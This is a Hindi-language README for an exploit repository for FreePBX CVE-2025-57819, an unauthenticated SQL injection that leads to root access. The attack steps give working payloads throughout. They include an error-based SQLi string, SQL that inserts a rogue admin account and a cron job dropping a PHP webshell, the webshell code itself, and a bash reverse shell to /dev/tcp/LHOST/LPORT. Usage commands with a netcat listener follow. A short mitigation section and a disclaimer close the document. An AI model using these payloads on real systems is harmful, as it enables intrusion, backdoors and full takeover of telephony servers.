FreePBX CVE-2025-57819 - अनऑथेंटिकेटेड SQLi से RCE PoC

केवल शैक्षिक एवं सुरक्षा अनुसंधान - कृपया नीचे कानूनी सूचना देखें

CVE-2025-57819 के लिए शोषण प्रमाण-अवधारणा (PoC), FreePBX में एक गंभीर अनऑथेंटिकेटेड SQL इंजेक्शन भेद्यता जो रिमोट कोड निष्पादन की अनुमति देती है। यह PoC आधिकारिक पैच जारी होने के बाद केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण उद्देश्यों के लिए प्रकाशित किया गया है।

अवलोकन

FreePBX संस्करण 15.x, 16.x, और 17.x (पैच किए गए संस्करणों से नीचे) endpoint मॉड्यूल के AJAX हैंडलर में अनऑथेंटिकेटेड SQL इंजेक्शन के लिए संवेदनशील हैं। यह शोषण श्रृंखला निम्नलिखित की अनुमति देती है:

1. SQL इंजेक्शन के माध्यम से प्रशासनिक खाते बनाना
2. प्रमाणित क्रॉन जॉब इंजेक्शन के माध्यम से वेबशेल तैनात करना
3. sysadmin_manager हुक श्रृंखला के माध्यम से रूट तक पहुंच बढ़ाना (यदि incron उपलब्ध हो)
4. रिवर्स शेल एक्सेस के साथ पूर्ण सिस्टम समझौता

भेद्यता विवरण

संवेदनशील एंडपॉइंट

GET /admin/ajax.php?brand=<PAYLOAD>

endpoint मॉड्यूल के AJAX हैंडलर में brand पैरामीटर बिना सत्यापन के उपयोगकर्ता इनपुट स्वीकार करता है, जिससे त्रुटि-आधारित SQL इंजेक्शन होता है।

शोषण श्रृंखला

चरण 1: SQL इंजेक्शन और प्रशासनिक खाता निर्माण

डेटाबेस नाम लीक करने के लिए EXTRACTVALUE() त्रुटि-आधारित निष्कर्षण का उपयोग करके SQLi सत्यापित करें:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

asterisk.ampusers में नया प्रशासनिक उपयोगकर्ता सम्मिलित करें:

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

चरण 2: प्रमाणित क्रॉन जॉब इंजेक्शन

मान्य प्रशासक क्रेडेंशियल के साथ, शोषण FreePBX में प्रमाणित होता है और एक प्रमाणित सत्र स्थापित करता है। सत्र कुकीज़ को सहेजा जाता है और बाद के सभी प्रमाणित अनुरोधों के लिए उपयोग किया जाता है।

asterisk.cron_jobs में वेबशेल कमांड इंजेक्ट करें:

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

FreePBX क्रॉन रनर asterisk उपयोगकर्ता के रूप में कमांड निष्पादित करता है, PHP वेबशेल गिराता है।

चरण 3: वेबशेल सक्रियण

PHP वेबशेल /var/www/html/shell.php पर तैनात किया गया है:

<?php system($_GET['cmd']); ?>

शोषण सक्रियण होने तक वेबशेल को पोल करता है, जिससे asterisk उपयोगकर्ता (uid=999) के रूप में RCE प्राप्त होता है।

चरण 4: विशेषाधिकार वृद्धि (सशर्त)

यदि लक्ष्य पर incron कॉन्फ़िगर किया गया है:

1. /var/spool/asterisk/incron/ में ट्रिगर फ़ाइल बनाएँ
2. incrond (रूट के रूप में चल रहा है) फ़ाइल निर्माण का पता लगाता है
3. ट्रिगर फ़ाइल नाम के साथ /usr/bin/sysadmin_manager को आमंत्रित करता है
4. sysadmin_manager GPG हस्ताक्षर को मान्य करता है और fwconsole-commands हुक को भेजता है
5. हुक पेलोड को डीकोड करता है और निष्पादित करता है: /usr/sbin/fwconsole <COMMAND>
6. कमांड इंजेक्शन: help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

परिणाम: रिवर्स लिसनर पर रूट शेल (यदि incron उपलब्ध हो)।

यह क्या दुरुपयोग करता है

• brand पैरामीटर पर कोई इनपुट सत्यापन नहीं
• स्टैक्ड क्वेरी निष्पादन डेटाबेस हेरफेर की अनुमति देता है
• लिखने योग्य asterisk.cron_jobs तालिका asterisk के रूप में कमांड निष्पादित करती है
• बनाए गए प्रशासक खाते से कुकीज़ के माध्यम से प्रमाणित सत्र दृढ़ता
• incron फ़ाइलसिस्टम मॉनिटरिंग रूट के रूप में चल रही है
• कमांड इंजेक्शन के साथ अमान्य fwconsole हुक निष्पादन

स्थापना

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

उपयोग

# Netcat लिसनर सेटअप करें
nc -lvnp <Listener Port>

# शोषण चलाएँ
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

PoC

प्रभावित संस्करण

शमन

तत्काल:

• अविश्वसनीय नेटवर्क से /admin/ajax.php तक पहुंच प्रतिबंधित करें
• यदि आवश्यक न हो तो incron अक्षम करें: systemctl disable incrond

स्थायी: पैच किए गए संस्करणों में अपग्रेड करें: 15.0.66+, 16.0.89+, या 17.0.3+

संदर्भ

• CVE-2025-57819
• CISA KEV Catalog
• FreePBX Security Advisory

कानूनी सूचना

⚠️ अस्वीकरण

यह प्रमाण-अवधारणा केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान की जाती है। लेखक इस उपकरण के दुरुपयोग या क्षति के लिए कोई दायित्व नहीं मानता है।

आपको अनुपालन करना होगा:

• कंप्यूटर फ्रॉड और एब्यूज़ एक्ट (CFAA) और आपके क्षेत्राधिकार में समान कानून
• केवल उन सिस्टम का परीक्षण करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है
• किसी भी सुरक्षा परीक्षण से पहले लिखित अनुमति प्राप्त करें
• जिम्मेदार प्रकटीकरण प्रथाओं का पालन करें
• गोपनीयता और डेटा सुरक्षा नियम (GDPR, CCPA, आदि) का पालन करें

निषिद्ध उपयोग:

• कंप्यूटर सिस्टम तक अनधिकृत पहुंच
• लिखित सहमति के बिना पैठ परीक्षण
• सेवाओं का विघ्न या डेटा चोरी
• कोई भी दुर्भावनापूर्ण या अवैध गतिविधि

दायित्व छूट: लेखक इसके लिए जिम्मेदार नहीं है:

• अनधिकृत पहुंच या आपराधिक आरोप
• सिस्टम को नुकसान या डेटा हानि
• दुरुपयोग के कानूनी परिणाम
• कंप्यूटर धोखाधड़ी कानूनों का उल्लंघन

यह भेद्यता:

• सार्वजनिक रूप से प्रकट की गई (CVE-2025-57819)
• पैच सार्वजनिक रूप से उपलब्ध हैं
• केवल सुरक्षा अनुसंधान के लिए प्रकाशित
• पैच रिलीज़ के बाद जिम्मेदारी से साझा की गई

लेखक

JazzTheRabbit

• GitHub: @JazzTheRabbit
• HackTheBox: @JazzTheRabbit
• YouTube: JazzTheRabbit

लाइसेंस

MIT License